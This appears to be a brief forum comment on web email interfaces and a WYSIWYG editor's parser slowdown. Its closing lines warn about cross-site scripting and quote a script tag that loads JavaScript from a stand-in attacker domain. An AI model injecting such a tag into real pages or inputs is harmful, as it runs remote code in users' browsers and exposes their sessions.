Ah, yeah smartphone and desktop apps don't do js(afaik) - but the web-browser access is still big. If gmail's web interface went down for a day, I think a lot of people would notice.
My guess: the WYSIWYG editor uses its own HTML parser and filter, written in JavaScript, that has some O(n^terrible) corner case that your paste test is hitting.
As long as any field allows enough chars to:
<script src="http://evilbadpersondomain.com/forTheLulz.js"></script>
....anything is possible from there.